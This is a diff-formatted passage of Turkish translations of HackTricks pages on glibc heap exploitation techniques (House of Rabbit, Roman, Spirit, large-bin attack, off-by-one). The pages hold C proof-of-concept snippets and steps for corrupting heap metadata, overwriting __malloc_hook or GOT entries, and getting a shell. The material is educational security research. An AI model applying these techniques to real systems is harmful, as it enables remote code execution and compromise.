+7. **Kod yürütme tetikleyin**: Saldırıyı yürütmek ve keyfi kod çalıştırmak için bir parça tahsis edin.
+
+Bu yaklaşım, `free` doğrudan çağrılmadan kod yürütme sağlamak için heap yönetimi mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını kötüye kullanır. Sahte **\_IO_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsisi işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesine olanak tanır ve genellikle bir kabuk veya diğer kötü amaçlı faaliyetlerin yürütülmesine neden olabilir.
+## Referanslar
+
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
+* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) arasında
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>

binary-exploitation/libc-heap/house-of-rabbit.md

@@ -0,0 +1,95 @@
+# Tavşan Evi
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+### Gereksinimler
+
+1. **Fastbin fd İşaretçisini veya Boyutunu Değiştirme Yeteneği**: Bu, fastbin'deki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
+2. **`malloc_consolidate`'i Tetikleme Yeteneği**: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir, bu da heap'in parçaları birleştirmesini zorlar.
+
+### Hedefler
+
+1. **Çakışan Parçalar Oluşturmak**: Başka bir parçayla çakışan bir parça oluşturarak heap manipülasyonları için olanak sağlamak.
+2. **Sahte Parçalar Oluşturmak**: Allokatörü, heap işlemleri sırasında sahte bir parçayı meşru bir parça olarak algılamaya kandırmak.
+
+## Saldırı Adımları
+
+### POC 1: Bir Fastbin Parçasının Boyutunu Değiştirme
+
+**Amaç**: Bir fastbin parçasının boyutunu manipüle ederek çakışan bir parça oluşturmak.
+
+* **Adım 1: Parçaları Ayırın**
+```cpp
+unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
+unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
+malloc(0x10);                          // Allocates a small chunk to change the fastbin state
+```
+* **Adım 2: Parçaları Serbest Bırakın**
+```cpp
+free(chunk1);  // Frees the chunk at 0x602000
+free(chunk2);  // Frees the chunk at 0x602050
+```
+* **Adım 3: Parça Boyutunu Değiştirme**
+```cpp
+chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
+```
+* **Adım 4: `malloc_consolidate`'i Tetikleyin**
+```cpp
+malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
+```
+Büyük bir parça ayırmak, küçük parçaları hızlı kutucukta birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur.
+
+Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüme olanak tanır.
+
+### POC 2: FD İşaretçisini Değiştir
+
+**Amaç**: Hızlı kutucuk fd işaretçisini manipüle ederek sahte bir parça oluşturmak.
+
+* **Adım 1: Parçaları Ayırma**
+```cpp
+unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
+unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
+```
+**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
+
+* **Adım 2: Sahte Blok Oluştur**
+```cpp
+chunk2[1] = 0x31;  // Fake chunk size 0x30
+chunk2[7] = 0x21;  // Next fake chunk
+chunk2[11] = 0x21; // Next-next fake chunk
+```
+* **Adım 3: Chunk1'i Serbest Bırakın**
+```cpp
+free(chunk1);  // Frees the chunk at 0x602000
+```
+**Açıklama**: `chunk1`'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.
+
+* **Adım 4: Chunk1'in FD'sini Değiştirin**
+```cpp
+chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
+```
+**Açıklama**: `chunk1`'in ileri işaretçisini (fd) `chunk2` içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.
+
+* **Adım 5: `malloc_consolidate`'i Tetikle**
+```cpp
+malloc(5000);  // Allocate a large chunk to trigger heap consolidation
+```
+Bir büyük parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parçayı işler.
+
+Sahte parça, fastbin listesinin bir parçası haline gelir, bu da onu daha fazla sömürü için geçerli bir parça yapar.
+
+### Özet
+
+**House of Rabbit** tekniği, ya bir fastbin parçasının boyutunu değiştirerek çakışan parçalar oluşturmayı ya da fd işaretçisini manipüle ederek sahte parçalar oluşturmayı içerir. Bu, saldırganların yığında geçerli parçaları oluşturmasına olanak tanır ve çeşitli sömürü biçimlerini etkinleştirir. Bu adımları anlamak ve uygulamak, yığın sömürü becerilerinizi geliştirecektir.

binary-exploitation/libc-heap/house-of-roman.md

@@ -0,0 +1,137 @@
+# House of Roman
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Bu, sızıntısız RCE'ye izin veren çok ilginç bir teknikti, sahte fastbins, sıralanmamış\_bin saldırısı ve göreceli üzerine yazma yoluyla. Ancak [**yamalandı**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+
+### Kod
+
+* Örneği [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) adresinde bulabilirsiniz.
+
+### Amaç
+
+* Göreceli işaretçileri kötüye kullanarak RCE
+
+### Gereksinimler
+
+* Fastbin ve sıralanmamış bin işaretçilerini düzenleme
+* 12 bitlik rastgelelik zorunlu olarak kaba kuvvet uygulanmalıdır (%0.02 şansı çalışma)
+
+## Saldırı Adımları
+
+### Adım 1: Fastbin Chunk \_\_malloc\_hook'a işaret eder
+
+Birkaç parça oluşturun:
+
+* `fastbin_victim` (0x60, ofset 0): Daha sonra yığın işaretçisini LibC değerine işaret etmek üzere düzenlenecek UAF parçası.
+* `chunk2` (0x80, ofset 0x70): İyi hizalamak için
+* `main_arena_use` (0x80, ofset 0x100)
+* `relative_offset_heap` (0x60, ofset 0x190): 'main\_arena\_use' parçasındaki göreceli ofset
+
+Ardından `main_arena_use` serbest bırakılır, bu parçayı sıralanmamış listeye yerleştirir ve hem `fd` hem de `bk` işaretçilerinde `main_arena + 0x68`'e bir işaretçi alır.
+
+Şimdi `fd` ve `bk` işaretçilerinde `main_arena + 0x68`'e işaretçileri içereceği için yeni bir parça olan `fake_libc_chunk(0x60)` ayrılmıştır.
+
+Ardından `relative_offset_heap` ve `fastbin_victim` serbest bırakılır.
+```c
+/*
+Current heap layout:
+0x0:   fastbin_victim       - size 0x70
+0x70:  alignment_filler     - size 0x90
+0x100: fake_libc_chunk      - size 0x70 (contains a fd ptr to main_arena + 0x68)
+0x170: leftover_main        - size 0x20
+0x190: relative_offset_heap - size 0x70
+
+bin layout:
+fastbin:  fastbin_victim -> relative_offset_heap
+unsorted: leftover_main
+*/
+```
+* `fastbin_victim`, `relative_offset_heap`'e işaret eden bir `fd`'ye sahiptir
+* `relative_offset_heap`, `fake_libc_chunk`'tan uzaklık olarak bir ofset olup, `main_arena + 0x68`'i işaret eden bir işaretçi içerir
+* `fastbin_victim.fd`'nin son baytını değiştirerek `fastbin_victim`'ı `main_arena + 0x68`'e işaret etmesi mümkündür
+
+Önceki eylemler için saldırganın, `fastbin_victim`'ın `fd` işaretçisini değiştirebilme yeteneğine sahip olması gerekir.
+
+Ardından, `main_arena + 0x68` çok ilginç değildir, bu yüzden işaretçinin **`__malloc_hook`**'a işaret etmesini sağlayacak şekilde değiştirelim.
+
+`__memalign_hook` genellikle `0x7f` ile başlar ve ondan önce sıfırlar bulunur, bu nedenle `0x70` hızlı binde bir değer olarak sahteleyebilir. Çünkü adresin son 4 biti **rastgele** olduğundan, adresin istediğimiz yere işaret etmesi için `2^4=16` olasılık vardır. Bu nedenle, bir BF saldırısı gerçekleştirilir ve parça şu şekilde sonlanır: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
+
+(Geri kalan baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) örneğindeki açıklamaya bakın). BF çalışmazsa program çöker (bu yüzden çalışana kadar tekrar deneyin).
+
+Ardından, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç ​​hızlı bin parçası kaldırılır ve üçüncüsü alınır **`__malloc_hook:`**'da bir parça elde etmek için.
+```c
+malloc(0x60);
+malloc(0x60);
+uint8_t* malloc_hook_chunk = malloc(0x60);
+```
+### Bölüm 2: Sıralanmamış\_bin saldırısı
+
+Daha fazla bilgi için şuraya bakabilirsiniz:
+
+{% content-ref url="unsorted-bin-attack.md" %}
+[unsorted-bin-attack.md](unsorted-bin-attack.md)
+{% endcontent-ref %}
+
+Ancak temelde, `chunk->bk` içinde belirtilen konuma `main_arena + 0x68` yazmamızı sağlar. Saldırı için `__malloc_hook`'u seçiyoruz. Sonra, üzerine yazdıktan sonra bir `one_gadget`'a işaret etmek için bir göreceli yazma işlemi kullanacağız.
+
+Bunun için bir parça alıp onu **sıralanmamış bin**'e koyarak başlarız:
+```c
+uint8_t* unsorted_bin_ptr = malloc(0x80);
+malloc(0x30); // Don't want to consolidate
+
+puts("Put chunk into unsorted_bin\n");
+// Free the chunk to create the UAF
+free(unsorted_bin_ptr);
+```
+Bu parçada bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret etmek için (daha önce bunu brute force ettik) kullanıyoruz.
+
+{% hint style="danger" %}
+Bu saldırı, sıralanmamış bin'i bozar (bu nedenle küçük ve büyük de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir), bunu tetiklemek için **aynı boyutta tahsis yapmalıyız ya da program çöker.**
+{% endhint %}
+
+Bu nedenle, `__malloc_hook`'u `unsorted_bin_ptr->bk`'ye ayarladıktan sonra `main_arena + 0x68`'e yazmayı tetiklemek için sadece **`malloc(0x80)`** yapmamız gerekiyor.
+
+### Adım 3: \_\_malloc\_hook'u system'e ayarlayın
+
+Adım birde `__malloc_hook` içeren bir parçayı kontrol etmeyi bitirdik (değişken `malloc_hook_chunk` içinde) ve ikinci adımda buraya `main_arena + 0x68` yazmayı başardık.
+
+Şimdi, `malloc_hook_chunk` içindeki kısmi bir yazmayı kötüye kullanarak oraya yazdığımız libc adresini (`main_arena + 0x68`) kullanarak bir `one_gadget` adresine işaret ediyoruz.
+
+İşte burada **12 bitlik rastgeleliği brute force etmek gerekiyor** (daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) [örneğine](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) bakın).
+
+Son olarak, doğru adres üzerine yazıldığında, **`malloc`'ı çağırın ve `one_gadget`'ı tetikleyin**.
+
+## Referanslar
+
+* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
+* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin.**
+* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
+
+</details>

binary-exploitation/libc-heap/house-of-spirit.md

@@ -0,0 +1,134 @@
+# Ruh Evi
+
+<details>
+
+<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+### Kod
+
+<details>
+
+<summary>Ruh Evi</summary>
+```c
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
+
+struct fast_chunk {
+size_t prev_size;
+size_t size;
+struct fast_chunk *fd;
+struct fast_chunk *bk;
+char buf[0x20];               // chunk falls in fastbin size range
+};
+
+int main() {
+struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
+void *ptr, *victim;
+
+ptr = malloc(0x30);
+
+printf("Original alloc address: %p\n", ptr);
+printf("Main fake chunk:%p\n", &fake_chunks[0]);
+printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
+
+// Passes size check of "free(): invalid size"
+fake_chunks[0].size = sizeof(struct fast_chunk);
+
+// Passes "free(): invalid next size (fast)"
+fake_chunks[1].size = sizeof(struct fast_chunk);
+
+// Attacker overwrites a pointer that is about to be 'freed'
+// Point to .fd as it's the start of the content of the chunk
+ptr = (void *)&fake_chunks[0].fd;
+
+free(ptr);
+
+victim = malloc(0x30);
+printf("Victim: %p\n", victim);
+
+return 0;
+}
+```
+</details>
+
+### Hedef
+
+* Tcache / hızlı bin'e bir adres ekleyebilmek ve daha sonra onu tahsis edebilmek
+
+### Gereksinimler
+
+* Bu saldırı, bir saldırganın doğru şekilde boyut değerini gösteren birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakarak onun bin içine girmesini sağlayabilmesini gerektirir.
+
+### Saldırı
+
+* Güvenlik kontrollerini atlatan sahte parçalar oluşturun: Temelde doğru pozisyonlarda doğru boyutları gösteren 2 sahte parçaya ihtiyacınız olacak
+* İlk sahte parçayı serbest bırakacak şekilde yönetin, böylece hızlı veya tcache bin'e girer ve ardından o adresi üzerine yazacak şekilde tahsis edilir
+
+**Koddan** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **gelen kod saldırıyı anlamak için harika.** Bununla birlikte, bu şema kodundan oldukça iyi özetlenmiştir:
+```c
+/*
+this will be the structure of our two fake chunks:
+assuming that you compiled it for x64
+
++-------+---------------------+------+
+| 0x00: | Chunk # 0 prev size | 0x00 |
++-------+---------------------+------+
+| 0x08: | Chunk # 0 size      | 0x60 |
++-------+---------------------+------+
+| 0x10: | Chunk # 0 content   | 0x00 |
++-------+---------------------+------+
+| 0x60: | Chunk # 1 prev size | 0x00 |
++-------+---------------------+------+
+| 0x68: | Chunk # 1 size      | 0x40 |
++-------+---------------------+------+
+| 0x70: | Chunk # 1 content   | 0x00 |
++-------+---------------------+------+
+
+for what we are doing the prev size values don't matter too much
+the important thing is the size values of the heap headers for our fake chunks
+*/
+```
+{% hint style="info" %}
+Not: Bazı sağlamlık kontrollerini atlatmak için ikinci parçayı oluşturmak gereklidir.
+{% endhint %}
+
+## Örnekler
+
+* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
+* **Libc bilgi sızdırma**: Bir taşma aracılığıyla bir işaretçiyi GOT adresine işaret etmek mümkün olup, CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırmak mümkündür.
+* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçı kötüye kullanarak ilk sahte parçanın sahte boyutunu oluşturmak mümkündür, ardından bir "mesajı" kötüye kullanarak bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma aracılığıyla serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parça serbest bırakılır. Daha sonra, bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Daha sonra, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olup, böylece onu sistem adresiyle üzerine yazabiliriz.\
+Bir sonraki `scanf` çağrıldığında, girişi `"/bin/sh"` olarak gönderebilir ve bir kabuk alabiliriz.
+
+## Referanslar
+
+* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
+
+</details>

binary-exploitation/libc-heap/large-bin-attack.md

@@ -0,0 +1,78 @@
+# Büyük Bin Saldırısı
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Büyük bir binin ne olduğu hakkında daha fazla bilgi için bu sayfaya bakın:
+
+{% content-ref url="bins-and-memory-allocations.md" %}
+[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
+{% endcontent-ref %}
+
+Bir örnek bulmak mümkündür [**how2heap - büyük bin saldırısı**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
+
+Temelde burada, en son "güncel" glibc sürümünde (2.35), **`P->bk_nextsize`** kontrol edilmediği görülebilir, belirli koşullar sağlandığında büyük bir bin parçasının değeriyle bir adresin değiştirilebileceği.
+
+Bu örnekte aşağıdaki koşulları bulabilirsiniz:
+
+- Büyük bir parça tahsis edilir
+- İlk parçadan daha küçük ancak aynı dizindeki başka bir büyük parça tahsis edilir
+- Binde ilk sıraya gitmesi gerektiği için daha küçük olmalıdır
+- (Üst parçayla birleşmeyi önlemek için bir parça oluşturulur)
+- Ardından, ilk büyük parça serbest bırakılır ve ondan daha büyük yeni bir parça tahsis edilir -> Parça1 büyük bine gider
+- Ardından, ikinci büyük parça serbest bırakılır
+- Şimdi, zafiyet: Saldırgan, `chunk1->bk_nextsize`'ı `[hedef-0x20]` olarak değiştirebilir
+- Daha sonra, 2. parçadan daha büyük bir parça tahsis edilir, bu nedenle parça2, adresi `chunk1->bk_nextsize->fd_nextsize`'ı parça2'nin adresiyle üzerine yazarak büyük bine eklenir
+
+{% hint style="success" %}
+Diğer potansiyel senaryolar da vardır, önemli olan, büyük bir bine, bir mevcut X parçadan **daha küçük** bir parça eklemektir, bu nedenle bine sadece ondan önce eklenmesi gerekmektedir ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekmektedir çünkü daha küçük parçanın adresinin yazılacağı yer burasıdır.
+{% endhint %}
+
+Bu, malloc'tan ilgili kod parçacığıdır. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir:
+
+{% code overflow="wrap" %}
+```c
+/* if smaller than smallest, bypass loop below */
+assert (chunk_main_arena (bck->bk));
+if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
+{
+fwd = bck; // fwd = p1
+bck = bck->bk; // bck = p1->bk
+
+victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
+victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
+}
+```
+{% endcode %}
+
+Bu, daha büyük parçalarla hızlı bir kova saldırısını sömürmek için libc'in `global_max_fast` global değişkenini **üzerine yazmak** için kullanılabilir.
+
+Bu saldırının başka harika bir açıklamasını [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html) adresinde bulabilirsiniz.
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>

binary-exploitation/libc-heap/off-by-one-overflow.md

@@ -0,0 +1,124 @@
+# Bir birim aşımı
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
+
+HackTricks'i desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Yalnızca 1B birim aşımına erişim sağlamak, saldırganın bir sonraki parçanın `pre_in_use` bitini değiştirmesine olanak tanır ve mevcut parça kullanımda olmadığından, parçanın sonu önceki parça boyutu meta bilgileri haline gelir.\
+Bu, hangi parçaların gerçekten serbest bırakıldığını değiştirmeyi sağlar, potansiyel olarak başka bir meşru parçayı içeren bir parça oluşturabilir.
+
+Bir birim aşımı zafiyetinin 2 türü vardır:
+
